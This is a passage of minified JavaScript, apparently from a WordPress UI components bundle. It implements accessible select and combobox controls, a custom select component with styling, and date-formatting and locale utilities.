t=e,{store:n}=t,r=x(t,["store"]);const o=lr();D(n=n||o,!1);const i=n.useState("contentElement");return r=v({"aria-haspopup":re(i,"dialog")},r),r=UT(v({store:n},r))}))),KT=(St((function(e){return kt("button",GT(e))})),jt((function(e){var t=e,{store:n}=t,r=x(t,["store"]);const o=mr();return n=n||o,r=b(v({},r),{ref:Ee(null==n?void 0:n.setAnchorElement,r.ref)})}))),qT=(St((function(e){return kt("div",KT(e))})),jt((function(e){var t=e,{store:n}=t,r=x(t,["store"]);const o=mr();D(n=n||o,!1);const i=r.onClick,s=ke((e=>{null==n||n.setAnchorElement(e.currentTarget),null==i||i(e)}));return r=Me(r,(e=>(0,_t.jsx)(vr,{value:n,children:e})),[n]),r=b(v({},r),{onClick:s}),r=KT(v({store:n},r)),r=GT(v({store:n},r))}))),YT=(St((function(e){return kt("button",qT(e))})),{top:"4,10 8,6 12,10",right:"6,4 10,8 6,12",bottom:"4,6 8,10 12,6",left:"10,4 6,8 10,12"}),XT=jt((function(e){var t=e,{store:n,placement:r}=t,o=x(t,["store","placement"]);const i=hr();D(n=n||i,!1);const s=n.useState((e=>r||e.placement)).split("-")[0],a=YT[s],l=(0,B.useMemo)((()=>(0,_t.jsx)("svg",{display:"block",fill:"none",stroke:"currentColor",strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:1.5,viewBox:"0 0 16 16",height:"1em",width:"1em",children:(0,_t.jsx)("polyline",{points:a})})),[a]);return L(o=b(v({children:l,"aria-hidden":!0},o),{style:v({width:"1em",height:"1em",pointerEvents:"none"},o.style)}))})),ZT=(St((function(e){return kt("span",XT(e))})),jt((function(e){var t=e,{store:n}=t,r=x(t,["store"]);const o=AT();return r=XT(v({store:n=n||o},r))}))),QT=St((function(e){return kt("span",ZT(e))}));function JT(e,t){return()=>{const n=t();if(!n)return;let r=0,o=e.item(n);const i=o;for(;o&&null==o.value;){const n=t(++r);if(!n)return;if(o=e.item(n),o===i)break}return null==o?void 0:o.id}}var eI=jt((function(e){var t=e,{store:n,name:r,form:o,required:i,showOnKeyDown:s=!0,moveOnKeyDown:a=!0,toggleOnPress:l=!0,toggleOnClick:c=l}=t,u=x(t,["store","name","form","required","showOnKeyDown","moveOnKeyDown","toggleOnPress","toggleOnClick"]);const d=zT();D(n=n||d,!1);const p=u.onKeyDown,f=Re(s),h=Re(a),m=n.useState("placement").split("-")[0],g=n.useState("value"),y=Array.isArray(g),w=ke((e=>{var t;if(null==p||p(e),e.defaultPrevented)return;if(!n)return;const{orientation:r,items:o,activeId:i}=n.getState(),s="horizontal"!==r,a="vertical"!==r,l=!!(null==(t=o.find((e=>!e.disabled&&null!=e.value)))?void 0:t.rowId),c={ArrowUp:(l||s)&&JT(n,n.up),ArrowRight:(l||a)&&JT(n,n.next),ArrowDown:(l||s)&&JT(n,n.down),ArrowLeft:(l||a)&&JT(n,n.previous)}[e.key];c&&h(e)&&(e.preventDefault(),n.move(c()));const u="top"===m||"bottom"===m;({ArrowDown:u,ArrowUp:u,ArrowLeft:"left"===m,ArrowRight:"right"===m})[e.key]&&f(e)&&(e.preventDefault(),n.move(i),ve(e.currentTarget,"keyup",n.show))}));u=Me(u,(e=>(0,_t.jsx)(OT,{value:n,children:e})),[n]);const[_,S]=(0,B.useState)(!1),C=(0,B.useRef)(!1);(0,B.useEffect)((()=>{const e=C.current;C.current=!1,e||S(!1)}),[g]);const k=n.useState((e=>{var t;return null==(t=e.labelElement)?void 0:t.id})),j=u["aria-label"],E=u["aria-labelledby"]||k,P=n.useState((e=>{if(r)return e.items})),N=(0,B.useMemo)((()=>[...new Set(null==P?void 0:P.map((e=>e.value)).filter((e=>null!=e)))]),[P]);u=Me(u,(e=>r?(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsxs)("select",{style:{border:0,clip:"rect(0 0 0 0)",height:"1px",margin:"-1px",overflow:"hidden",padding:0,position:"absolute",whiteSpace:"nowrap",width:"1px"},tabIndex:-1,"aria-hidden":!0,"aria-label":j,"aria-labelledby":E,name:r,form:o,required:i,value:g,multiple:y,onFocus:()=>{var e;return null==(e=null==n?void 0:n.getState().selectElement)?void 0:e.focus()},onChange:e=>{var t;C.current=!0,S(!0),null==n||n.setValue(y?(t=e.target,Array.from(t.selectedOptions).map((e=>e.value))):e.target.value)},children:[st(g).map((e=>null==e||N.includes(e)?null:(0,_t.jsx)("option",{value:e,children:e},e))),N.map((e=>(0,_t.jsx)("option",{value:e,children:e},e)))]}),e]}):e),[n,j,E,r,o,i,g,y,N]);const T=(0,_t.jsxs)(_t.Fragment,{children:[g,(0,_t.jsx)(QT,{})]}),I=n.useState("contentElement");return u=b(v({role:"combobox","aria-autocomplete":"none","aria-labelledby":k,"aria-haspopup":re(I,"listbox"),"data-autofill":_||void 0,"data-name":r,children:T},u),{ref:Ee(n.setSelectElement,u.ref),onKeyDown:w}),u=qT(v({store:n,toggleOnClick:c},u)),u=Hn(v({store:n},u))})),tI=St((function(e){return kt("button",eI(e))})),nI=(0,B.createContext)(null),rI=jt((function(e){var t=e,{store:n,resetOnEscape:r=!0,hideOnEnter:o=!0,focusOnMove:i=!0,composite:s,alwaysVisible:a}=t,l=x(t,["store","resetOnEscape","hideOnEnter","focusOnMove","composite","alwaysVisible"]);const c=AT();D(n=n||c,!1);const u=Pe(l.id),d=n.useState("value"),p=Array.isArray(d),[f,h]=(0,B.useState)(d),m=n.useState("mounted");(0,B.useEffect)((()=>{m||h(d)}),[m,d]),r=r&&!p;const g=l.onKeyDown,y=Re(r),w=Re(o),_=ke((e=>{null==g||g(e),e.defaultPrevented||("Escape"===e.key&&y(e)&&(null==n||n.setValue(f))," "!==e.key&&"Enter"!==e.key||de(e)&&w(e)&&(e.preventDefault(),null==n||n.hide()))})),S=(0,B.useContext)(FT),C=(0,B.useState)(),[k,j]=S||C,E=(0,B.useMemo)((()=>[k,j]),[k]),[P,N]=(0,B.useState)(null),T=(0,B.useContext)(nI);(0,B.useEffect)((()=>{if(T)return T(n),()=>T(null)}),[T,n]),l=Me(l,(e=>(0,_t.jsx)(OT,{value:n,children:(0,_t.jsx)(nI.Provider,{value:N,children:(0,_t.jsx)(FT.Provider,{value:E,children:e})})})),[n,E]);const I=!!n.combobox;s=null!=s?s:!I&&P!==n;const[R,M]=je(s?n.setListElement:null),A=function(e,t,n){const r=Se(n),[o,i]=(0,B.useState)(r);return(0,B.useEffect)((()=>{const n=e&&"current"in e?e.current:e;if(!n)return;const o=()=>{const e=n.getAttribute(t);i(null==e?r:e)},s=new MutationObserver(o);return s.observe(n,{attributeFilter:[t]}),o(),()=>s.disconnect()}),[e,t,r]),o}(R,"role",l.role),z=(s||("listbox"===A||"menu"===A||"tree"===A||"grid"===A))&&p||void 0,O=Xr(m,l.hidden,a),L=O?b(v({},l.style),{display:"none"}):l.style;s&&(l=v({role:"listbox","aria-multiselectable":z},l));const F=n.useState((e=>{var t;return k||(null==(t=e.labelElement)?void 0:t.id)}));return l=b(v({id:u,"aria-labelledby":F,hidden:O},l),{ref:Ee(M,l.ref),style:L,onKeyDown:_}),l=cn(b(v({store:n},l),{composite:s})),l=Hn(v({store:n,typeahead:!I},l))})),oI=(St((function(e){return kt("div",rI(e))})),jt((function(e){var t=e,{store:n,alwaysVisible:r}=t,o=x(t,["store","alwaysVisible"]);const i=zT();return o=rI(v({store:n=n||i,alwaysVisible:r},o)),o=Hi(v({store:n,alwaysVisible:r},o))}))),iI=_o(St((function(e){return kt("div",oI(e))})),zT);var sI=jt((function(e){var t,n=e,{store:r,value:o,getItem:i,hideOnClick:s,setValueOnClick:a=null!=o,preventScrollOnKeyDown:l=!0,focusOnHover:c=!0}=n,u=x(n,["store","value","getItem","hideOnClick","setValueOnClick","preventScrollOnKeyDown","focusOnHover"]);const d=DT();D(r=r||d,!1);const p=Pe(u.id),f=O(u),{listElement:h,multiSelectable:m,selected:g,autoFocus:y}=tt(r,{listElement:"listElement",multiSelectable:e=>Array.isArray(e.value),selected:e=>function(e,t){if(null!=t)return null!=e&&(Array.isArray(e)?e.includes(t):e===t)}(e.value,o),autoFocus:e=>null!=o&&(null!=e.value&&((e.activeId===p||!(null==r?void 0:r.item(e.activeId)))&&(Array.isArray(e.value)?e.value[e.value.length-1]===o:e.value===o)))}),w=(0,B.useCallback)((e=>{const t=b(v({},e),{value:f?void 0:o,children:o});return i?i(t):t}),[f,o,i]);s=null!=s?s:null!=o&&!m;const _=u.onClick,S=Re(a),C=Re(s),k=ke((e=>{null==_||_(e),e.defaultPrevented||fe(e)||pe(e)||(S(e)&&null!=o&&(null==r||r.setValue((e=>Array.isArray(e)?e.includes(o)?e.filter((e=>e!==o)):[...e,o]:o))),C(e)&&(null==r||r.hide()))}));u=Me(u,(e=>(0,_t.jsx)(LT.Provider,{value:null!=g&&g,children:e})),[g]),u=b(v({id:p,role:oe(h),"aria-selected":g,children:o},u),{autoFocus:null!=(t=u.autoFocus)?t:y,onClick:k}),u=Mn(v({store:r,getItem:w,preventScrollOnKeyDown:l},u));const j=Re(c);return u=Cn(b(v({store:r},u),{focusOnHover(e){if(!j(e))return!1;const t=null==r?void 0:r.getState();return!!(null==t?void 0:t.open)}}))})),aI=Ct(St((function(e){return kt("div",sI(e))}))),lI=(0,B.createContext)(!1),cI=(0,_t.jsx)("svg",{display:"block",fill:"none",stroke:"currentColor",strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:1.5,viewBox:"0 0 16 16",height:"1em",width:"1em",children:(0,_t.jsx)("polyline",{points:"4,8 7,12 12,4"})});var uI=jt((function(e){var t=e,{store:n,checked:r}=t,o=x(t,["store","checked"]);const i=(0,B.useContext)(lI),s=function(e){return e.checked?e.children||cI:"function"==typeof e.children?e.children:null}({checked:r=null!=r?r:i,children:o.children});return L(o=b(v({"aria-hidden":!0},o),{children:s,style:v({width:"1em",height:"1em",pointerEvents:"none"},o.style)}))})),dI=(St((function(e){return kt("span",uI(e))})),jt((function(e){var t=e,{store:n,checked:r}=t,o=x(t,["store","checked"]);const i=(0,B.useContext)(LT);return r=null!=r?r:i,o=uI(b(v({},o),{checked:r}))}))),pI=St((function(e){return kt("span",dI(e))}));const fI="2px",hI="400ms",mI="cubic-bezier( 0.16, 1, 0.3, 1 )",gI={compact:Fl.controlPaddingXSmall,small:Fl.controlPaddingXSmall,default:Fl.controlPaddingX},vI=yl(tI,{shouldForwardProp:e=>"hasCustomRenderProp"!==e,target:"e1p3eej77"})((({size:e,hasCustomRenderProp:t})=>Nl("display:block;background-color:",zl.theme.background,";border:none;color:",zl.theme.foreground,";cursor:pointer;font-family:inherit;text-align:start;user-select:none;width:100%;&[data-focus-visible]{outline:none;}",((e,t)=>{const n={compact:{[t]:32,paddingInlineStart:gI.compact,paddingInlineEnd:gI.compact+18},default:{[t]:40,paddingInlineStart:gI.default,paddingInlineEnd:gI.default+18},small:{[t]:24,paddingInlineStart:gI.small,paddingInlineEnd:gI.small+18}};return n[e]||n.default})(e,t?"minHeight":"height")," ",!t&&wI," ",eb({inputSize:e}),";","")),""),bI=Tl({"0%":{opacity:0,transform:`translateY(-${fI})`},"100%":{opacity:1,transform:"translateY(0)"}}),xI=yl(iI,{target:"e1p3eej76"})("display:flex;flex-direction:column;background-color:",zl.theme.background,";border-radius:",Fl.radiusSmall,";border:1px solid ",zl.theme.foreground,";box-shadow:",Fl.elevationMedium,";z-index:1000000;max-height:min( var( --popover-available-height, 400px ), 400px );overflow:auto;overscroll-behavior:contain;min-width:min-content;&[data-open]{@media not ( prefers-reduced-motion ){animation-duration:",hI,";animation-timing-function:",mI,";animation-name:",bI,";will-change:transform,opacity;}}&[data-focus-visible]{outline:none;}"),yI=yl(aI,{target:"e1p3eej75"})((({size:e})=>Nl("cursor:default;display:flex;align-items:center;justify-content:space-between;font-size:",Fl.fontSize,";line-height:28px;padding-block:",Il(2),";scroll-margin:",Il(1),";user-select:none;&[aria-disabled='true']{cursor:not-allowed;}&[data-active-item]{background-color:",zl.theme.gray[300],";}",(e=>{const t={compact:{paddingInlineStart:gI.compact,paddingInlineEnd:gI.compact-6},default:{paddingInlineStart:gI.default,paddingInlineEnd:gI.default-6},small:{paddingInlineStart:gI.small,paddingInlineEnd:gI.small-6}};return t[e]||t.default})(e),";","")),""),wI={name:"1h52dri",styles:"overflow:hidden;text-overflow:ellipsis;white-space:nowrap"},_I=yl("div",{target:"e1p3eej74"})(wI,";"),SI=yl("span",{target:"e1p3eej73"})("color:",zl.theme.gray[600],";margin-inline-start:",Il(2),";"),CI=yl("div",{target:"e1p3eej72"})("display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;flex:1;column-gap:",Il(4),";"),kI=yl("span",{target:"e1p3eej71"})("color:",zl.theme.gray[600],";text-align:initial;line-height:",Fl.fontLineHeightBase,";padding-inline-end:",Il(1),";margin-block:",Il(1),";"),jI=yl(pI,{target:"e1p3eej70"})("display:flex;align-items:center;margin-inline-start:",Il(2),";align-self:start;margin-block-start:2px;font-size:0;",CI,"~&,&:not(:empty){font-size:24px;}"),EI=(0,c.createContext)(void 0);function PI(e){return(Array.isArray(e)?0===e.length:null==e)?(0,a.__)("Select an item"):Array.isArray(e)?1===e.length?e[0]:(0,a.sprintf)((0,a.__)("%s items selected"),e.length):e}const NI=({renderSelectedValue:e,size:t="default",store:n,...r})=>{const{value:o}=et(n),i=(0,c.useMemo)((()=>null!=e?e:PI),[e]);return(0,_t.jsx)(vI,{...r,size:t,hasCustomRenderProp:!!e,store:n,children:i(o)})};const TI=function(e){const{children:t,hideLabelFromVision:n=!1,label:r,size:o,store:i,className:s,isLegacy:a=!1,...l}=e,u=(0,c.useCallback)((e=>{a&&e.stopPropagation()}),[a]),d=(0,c.useMemo)((()=>({store:i,size:o})),[i,o]);return(0,_t.jsxs)("div",{className:s,children:[(0,_t.jsx)(VT,{store:i,render:n?(0,_t.jsx)(Sl,{}):(0,_t.jsx)(Wx.VisualLabel,{as:"div"}),children:r}),(0,_t.jsxs)(vb,{__next40pxDefaultSize:!0,size:o,suffix:(0,_t.jsx)(sS,{}),children:[(0,_t.jsx)(NI,{...l,size:o,store:i,showOnKeyDown:!a}),(0,_t.jsx)(xI,{gutter:12,store:i,sameWidth:!0,slide:!1,onKeyDown:u,flip:!a,children:(0,_t.jsx)(EI.Provider,{value:d,children:t})})]})]})};function II({children:e,...t}){var n;const r=(0,c.useContext)(EI);return(0,_t.jsxs)(yI,{store:r?.store,size:null!==(n=r?.size)&&void 0!==n?n:"default",...t,children:[null!=e?e:t.value,(0,_t.jsx)(jI,{children:(0,_t.jsx)(oS,{icon:ok})})]})}II.displayName="CustomSelectControlV2.Item";const RI=II;function MI({__experimentalHint:e,...t}){return{hint:e,...t}}function AI(e,t){return t||(0,a.sprintf)((0,a.__)("Currently selected: %s"),e)}const DI=function e(t){const{__next40pxDefaultSize:n=!1,__shouldNotWarnDeprecated36pxSize:r,describedBy:o,options:i,onChange:a,size:c="default",value:u,className:d,showSelectedHint:p=!1,...f}=function({__experimentalShowSelectedHint:e,...t}){return{showSelectedHint:e,...t}}(t);Ux({componentName:"CustomSelectControl",__next40pxDefaultSize:n,size:c,__shouldNotWarnDeprecated36pxSize:r});const h=(0,l.useInstanceId)(e,"custom-select-control__description"),m=RT({async setValue(e){const t=i.find((t=>t.name===e));if(!a||!t)return;await Promise.resolve();const n=m.getState(),r={highlightedIndex:n.renderedItems.findIndex((t=>t.value===e)),inputValue:"",isOpen:n.open,selectedItem:t,type:""};a(r)},value:u?.name,defaultValue:i[0]?.name}),g=i.map(MI).map((({name:e,key:t,hint:n,style:r,className:o})=>{const i=(0,_t.jsxs)(CI,{children:[(0,_t.jsx)("span",{children:e}),(0,_t.jsx)(kI,{className:"components-custom-select-control__item-hint",children:n})]});return(0,_t.jsx)(RI,{value:e,children:n?i:e,style:r,className:s(o,"components-custom-select-control__item",{"has-hint":n})},t)})),v=et(m,"value"),b=n&&"default"===c||"__unstable-large"===c?"default":n||"default"!==c?c:"compact";return(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsx)(TI,{"aria-describedby":h,renderSelectedValue:p?()=>{const e=i?.map(MI)?.find((({name:e})=>v===e))?.hint;return(0,_t.jsxs)(_I,{children:[v,e&&(0,_t.jsx)(SI,{className:"components-custom-select-control__hint",children:e})]})}:void 0,size:b,store:m,className:s("components-custom-select-control",d),isLegacy:!0,...f,children:g}),(0,_t.jsx)(Sl,{children:(0,_t.jsx)("span",{id:h,children:AI(v,o)})})]})};function zI(e){const t=Object.prototype.toString.call(e);return e instanceof Date||"object"==typeof e&&"[object Date]"===t?new e.constructor(+e):"number"==typeof e||"[object Number]"===t||"string"==typeof e||"[object String]"===t?new Date(e):new Date(NaN)}function OI(e){const t=zI(e);return t.setHours(0,0,0,0),t}function LI(e,t){return e instanceof Date?new e.constructor(t):new Date(t)}function FI(e,t){const n=zI(e);if(isNaN(t))return LI(e,NaN);if(!t)return n;const r=n.getDate(),o=LI(e,n.getTime());o.setMonth(n.getMonth()+t+1,0);return r>=o.getDate()?o:(n.setFullYear(o.getFullYear(),o.getMonth(),r),n)}function BI(e,t){return FI(e,-t)}const VI={lessThanXSeconds:{one:"less than a second",other:"less than {{count}} seconds"},xSeconds:{one:"1 second",other:"{{count}} seconds"},halfAMinute:"half a minute",lessThanXMinutes:{one:"less than a minute",other:"less than {{count}} minutes"},xMinutes:{one:"1 minute",other:"{{count}} minutes"},aboutXHours:{one:"about 1 hour",other:"about {{count}} hours"},xHours:{one:"1 hour",other:"{{count}} hours"},xDays:{one:"1 day",other:"{{count}} days"},aboutXWeeks:{one:"about 1 week",other:"about {{count}} weeks"},xWeeks:{one:"1 week",other:"{{count}} weeks"},aboutXMonths:{one:"about 1 month",other:"about {{count}} months"},xMonths:{one:"1 month",other:"{{count}} months"},aboutXYears:{one:"about 1 year",other:"about {{count}} years"},xYears:{one:"1 year",other:"{{count}} years"},overXYears:{one:"over 1 year",other:"over {{count}} years"},almostXYears:{one:"almost 1 year",other:"almost {{count}} years"}};function $I(e){return(t={})=>{const n=t.width?String(t.width):e.defaultWidth;return e.formats[n]||e.formats[e.defaultWidth]}}const HI={date:$I({formats:{full:"EEEE, MMMM do, y",long:"MMMM do, y",medium:"MMM d, y",short:"MM/dd/yyyy"},defaultWidth:"full"}),time:$I({formats:{full:"h:mm:ss a zzzz",long:"h:mm:ss a z",medium:"h:mm:ss a",short:"h:mm a"},defaultWidth:"full"}),dateTime:$I({formats:{full:"{{date}} 'at' {{time}}",long:"{{date}} 'at' {{time}}",medium:"{{date}}, {{time}}",short:"{{date}}, {{time}}"},defaultWidth:"full"})},WI={lastWeek:"'last' eeee 'at' p",yesterday:"'yesterday at' p",today:"'today at' p",tomorrow:"'tomorrow at' p",nextWeek:"eeee 'at' p",other:"P"};function UI(e){return(t,n)=>{let r;if("formatting"===(n?.context?String(n.context):"standalone")&&e.formattingValues){const t=e.defaultFormattingWidth||e.defaultWidth,o=n?.width?String(n.width):t;r=e.formattingValues[o]||e.formattingValues[t]}else{const t=e.defaultWidth,o=n?.width?String(n.width):e.defaultWidth;r=e.values[o]||e.values[t]}return r[e.argumentCallback?e.argumentCallback(t):t]}}const GI={ordinalNumber:(e,t)=>{const n=Number(e),r=n%100;if(r>20||r<10)switch(r%10){case 1:return n+"st";case 2:return n+"nd";case 3:return n+"rd"}return n+"th"},era:UI({values:{narrow:["B","A"],abbreviated:["BC","AD"],wide:["Before Christ","Anno Domini"]},defaultWidth:"wide"}),quarter:UI({values:{narrow:["1","2","3","4"],abbreviated:["Q1","Q2","Q3","Q4"],wide:["1st quarter","2nd quarter","3rd quarter","4th quarter"]},defaultWidth:"wide",argumentCallback:e=>e-1}),month:UI({values:{narrow:["J","F","M","A","M","J","J","A","S","O","N","D"],abbreviated:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],wide:["January","February","March","April","May","June","July","August","September","October","November","December"]},defaultWidth:"wide"}),day:UI({values:{narrow:["S","M","T","W","T","F","S"],short:["Su","Mo","Tu","We","Th","Fr","Sa"],abbreviated:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],wide:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"]},defaultWidth:"wide"}),dayPeriod:UI({values:{narrow:{am:"a",pm:"p",midnight:"mi",noon:"n",morning:"morning",afternoon:"afternoon",evening:"evening",night:"night"},abbreviated:{am:"AM",pm:"PM",midnight:"midnight",noon:"noon",morning:"morning",afternoon:"afternoon",evening:"evening",night:"night"},wide:{am:"a.m.",pm:"p.m.",midnight:"midnight",noon:"noon",morning:"morning",afternoon:"afternoon",evening:"evening",night:"night"}},defaultWidth:"wide",formattingValues:{narrow:{am:"a",pm:"p",midnight:"mi",noon:"n",morning:"in the morning",afternoon:"in the afternoon",evening:"in the evening",night:"at night"},abbreviated:{am:"AM",pm:"PM",midnight:"midnight",noon:"noon",morning:"in the morning",afternoon:"in the afternoon",evening:"in the evening",night:"at night"},wide:{am:"a.m.",pm:"p.m.",midnight:"midnight",noon:"noon",morning:"in the morning",afternoon:"in the afternoon",evening:"in the evening",night:"at night"}},defaultFormattingWidth:"wide"})};function KI(e){return(t,n={})=>{const r=n.width,o=r&&e.matchPatterns[r]||e.matchPatterns[e.defaultMatchWidth],i=t.match(o);if(!i)return null;const s=i[0],a=r&&e.parsePatterns[r]||e.parsePatterns[e.defaultParseWidth],l=Array.isArray(a)?function(e,t){for(let n=0;n<e.length;n++)if(t(e[n]))return n;return}(a,(e=>e.test(s))):function(e,t){for(const n in e)if(Object.prototype.hasOwnProperty.call(e,n)&&t(e[n]))return n;return}(a,(e=>e.test(s)));let c;c=e.valueCallback?e.valueCallback(l):l,c=n.valueCallback?n.valueCallback(c):c;return{value:c,rest:t.slice(s.length)}}}const qI={ordinalNumber:(YI={matchPattern:/^(\d+)(th|st|nd|rd)?/i,parsePattern:/\d+/i,valueCallback:e=>parseInt(e,10)},(e,t={})=>{const n=e.match(YI.matchPattern);if(!n)return null;const r=n[0],o=e.match(YI.parsePattern);if(!o)return null;let i=YI.valueCallback?YI.valueCallback(o[0]):o[0];return i=t.valueCallback?t.valueCallback(i):i,{value:i,rest:e.slice(r.length)}}),era:KI({matchPatterns:{narrow:/^(b|a)/i,abbreviated:/^(b\.?\s?c\.?|b\.?\s?c\.?\s?e\.?|a\.?\s?d\.?|c\.?\s?e\.?)/i,wide:/^(before christ|before common era|anno domini|common era)/i},defaultMatchWidth:"wide",parsePatterns:{any:[/^b/i,/^(a|c)/i]},defaultParseWidth:"any"}),quarter:KI({matchPatterns:{narrow:/^[1234]/i,abbreviated:/^q[1234]/i,wide:/^[1234](th|st|nd|rd)? quarter/i},defaultMatchWidth:"wide",parsePatterns:{any:[/1/i,/2/i,/3/i,/4/i]},defaultParseWidth:"any",valueCallback:e=>e+1}),month:KI({matchPatterns:{narrow:/^[jfmasond]/i,abbreviated:/^(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)/i,wide:/^(january|february|march|april|may|june|july|august|september|october|november|december)/i},defaultMatchWidth:"wide",parsePatterns:{narrow:[/^j/i,/^f/i,/^m/i,/^a/i,/^m/i,/^j/i,/^j/i,/^a/i,/^s/i,/^o/i,/^n/i,/^d/i],any:[/^ja/i,/^f/i,/^mar/i,/^ap/i,/^may/i,/^jun/i,/^jul/i,/^au/i,/^s/i,/^o/i,/^n/i,/^d/i]},defaultParseWidth:"any"}),day:KI({matchPatterns:{narrow:/^[smtwf]/i,short:/^(su|mo|tu|we|th|fr|sa)/i,abbreviated:/^(sun|mon|tue|wed|thu|fri|sat)/i,wide:/^(sunday|monday|tuesday|wednesday|thursday|friday|saturday)/i},defaultMatchWidth:"wide",parsePatterns:{narrow:[/^s/i,/^m/i,/^t/i,/^w/i,/^t/i,/^f/i,/^s/i],any:[/^su/i,/^m/i,/^tu/i,/^w/i,/^th/i,/^f/i,/^sa/i]},defaultParseWidth:"any"}),dayPeriod:KI({matchPatterns:{narrow:/^(a|p|mi|n|(in the|at) (morning|afternoon|evening|night))/i,any:/^([ap]\.?\s?m\.?|midnight|noon|(in the|at) (morning|afternoon|evening|night))/i},defaultMatchWidth:"any",parsePatterns:{any:{am:/^a/i,pm:/^p/i,midnight:/^mi/i,noon:/^no/i,morning:/morning/i,afternoon:/afternoon/i,evening:/evening/i,night:/night/i}},defaultParseWidth:"any"})};var YI;const XI={code:"en-US",formatDistance:(e,t,n)=>{let r;const o=VI[e];return r="string"==typeof o?o:1===t?o.one:o.other.replace("{{count}}",t.toString()),n?.addSuffix?n.comparison&&n.comparison>0?"in "+r:r+" ago":r},formatLong:HI,formatRelative:(e,t,n,r)=>WI[e],localize:GI,match:qI,options:{weekStartsOn:0,firstWeekContainsDate:1}};let ZI={};function QI(){return ZI}Math.pow(10,8);const JI=6048e5;function eR(e){const t=zI(e),n=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate(),t.getHours(),t.getMinutes(),t.getSeconds(),t.getMilliseconds()));return n.setUTCFullYear(t.getFullYear()),+e-+n}function tR(e,t){const n=OI(e),r=OI(t),o=+n-eR(n),i=+r-eR(r);return Math.round((o-i)/864e5)}function nR(e){const t=zI(e),n=LI(e,0);return n.setFullYear(t.getFullYear(),0,1),n.setHours(0,0,0,0),n}function rR(e){const t=zI(e);return tR(t,nR(t))+1}function oR(e,t){const n=QI(),r=t?.weekStartsOn??t?.locale?.options?.weekStartsOn??n.weekStartsOn??n.locale?.options?.weekStartsOn??0,o=zI(e),i=o.getDay(),s=(i<r?7:0)+i-r;return o.setDate(o.getDate()-s),o.setHours(0,0,0,0),o}function iR(e){return oR(e,{weekStartsOn:1})}function sR(e){const t=zI(e),n=t.getFullYear(),r=LI(e,0);r.setFullYear(n+1,0,4),r.setHours(0,0,0,0);const o=iR(r),i=LI(e,0);i.setFullYear(n,0,4),i.setHours(0,0,0,0);const s=iR(i);return t.getTime()>=o.getTime()?n+1:t.getTime()>=s.getTime()?n:n-1}function aR(e){const t=sR(e),n=LI(e,0);return n.setFullYear(t,0,4),n.setHours(0,0,0,0),iR(n)}function lR(e){const t=zI(e),n=+iR(t)-+aR(t);return Math.round(n/JI)+1}function cR(e,t){const n=zI(e),r=n.getFullYear(),o=QI(),i=t?.firstWeekContainsDate??t?.locale?.options?.firstWeekContainsDate??o.firstWeekContainsDate??o.locale?.options?.firstWeekContainsDate??1,s=LI(e,0);s.setFullYear(r+1,0,i),s.setHours(0,0,0,0);const a=oR(s,t),l=LI(e,0);l.setFullYear(r,0,i),l.setHours(0,0,0,0);const c=oR(l,t);return n.getTime()>=a.getTime()?r+1:n.getTime()>=c.getTime()?r:r-1}function uR(e,t){const n=QI(),r=t?.firstWeekContainsDate??t?.locale?.options?.firstWeekContainsDate??n.firstWeekContainsDate??n.locale?.options?.firstWeekContainsDate??1,o=cR(e,t),i=LI(e,0);i.setFullYear(o,0,r),i.setHours(0,0,0,0);return oR(i,t)}function dR(e,t){const n=zI(e),r=+oR(n,t)-+uR(n,t);return Math.round(r/JI)+1}function pR(e,t){return(e<0?"-":"")+Math.abs(e).toString().padStart(t,"0")}const fR={y(e,t){const n=e.getFullYear(),r=n>0?n:1-n;return pR("yy"===t?r%100:r,t.length)},M(e,t){const n=e.getMonth();return"M"===t?String(n+1):pR(n+1,2)},d:(e,t)=>pR(e.getDate(),t.length),a(e,t){const n=e.getHours()/12>=1?"pm":"am";switch(t){case"a":case"aa":return n.toUpperCase();case"aaa":return n;case"aaaaa":return n[0];default:return"am"===n?"a.m.":"p.m."}},h:(e,t)=>pR(e.getHours()%12||12,t.length),H:(e,t)=>pR(e.getHours(),t.length),m:(e,t)=>pR(e.getMinutes(),t.length),s:(e,t)=>pR(e.getSeconds(),t.length),S(e,t){const n=t.length,r=e.getMilliseconds();return pR(Math.trunc(r*Math.pow(10,n-3)),t.length)}},hR="midnight",mR="noon",gR="morning",vR="afternoon",bR="evening",xR="night",yR={G:function(e,t,n){const r=e.getFullYear()>0?1:0;switch(t){case"G":case"GG":case"GGG":return n.era(r,{width:"abbreviated"});case"GGGGG":return n.era(r,{width:"narrow"});default:return n.era(r,{width:"wide"})}},y:function(e,t,n){if("yo"===t){const t=e.getFullYear(),r=t>0?t:1-t;return n.ordinalNumber(r,{unit:"year"})}return fR.y(e,t)},Y:function(e,t,n,r){const o=cR(e,r),i=o>0?o:1-o;if("YY"===t){return pR(i%100,2)}return"Yo"===t?n.ordinalNumber(i,{unit:"year"}):pR(i,t.length)},R:function(e,t){return pR(sR(e),t.length)},u:function(e,t){return pR(e.getFullYear(),t.length)},Q:function(e,t,n){const r=Math.ceil((e.getMonth()+1)/3);switch(t){case"Q":return String(r);case"QQ":return pR(r,2);case"Qo":return n.ordinalNumber(r,{unit:"quarter"});case"QQQ":return n.quarter(r,{width:"abbreviated",context:"formatting"});case"QQQQQ":return n.quarter(r,{width:"narrow",context:"formatting"});default:return n.quarter(r,{width:"wide",context:"formatting"})}},q:function(e,t,n){const r=Math.ceil((e.getMonth()+1)/3);switch(t){case"q":return String(r);case"qq":return pR(r,2);case"qo":return n.ordinalNumber(r,{unit:"quarter"});case"qqq":return n.quarter(r,{width:"abbreviated",context:"standalone"});case"qqqqq":return n.quarter(r,{width:"narrow",context:"standalone"});default:return n.quarter(r,{width:"wide",context:"standalone"})}},M:function(e,t,n){const r=e.getMonth();switch(t){case"M":case"MM":return fR.M(e,t);case"Mo":return n.ordinalNumber(r+1,{unit:"month"});case"MMM":return n.month(r,{width:"abbreviated",context:"formatting"});case"MMMMM":return n.month(r,{width:"narrow",context:"formatting"});default:return n.month(r,{width:"wide",context:"formatting"})}},L:function(e,t,n){const r=e.getMonth();switch(t){case"L":return String(r+1);case"LL":return pR(r+1,2);case"Lo":return 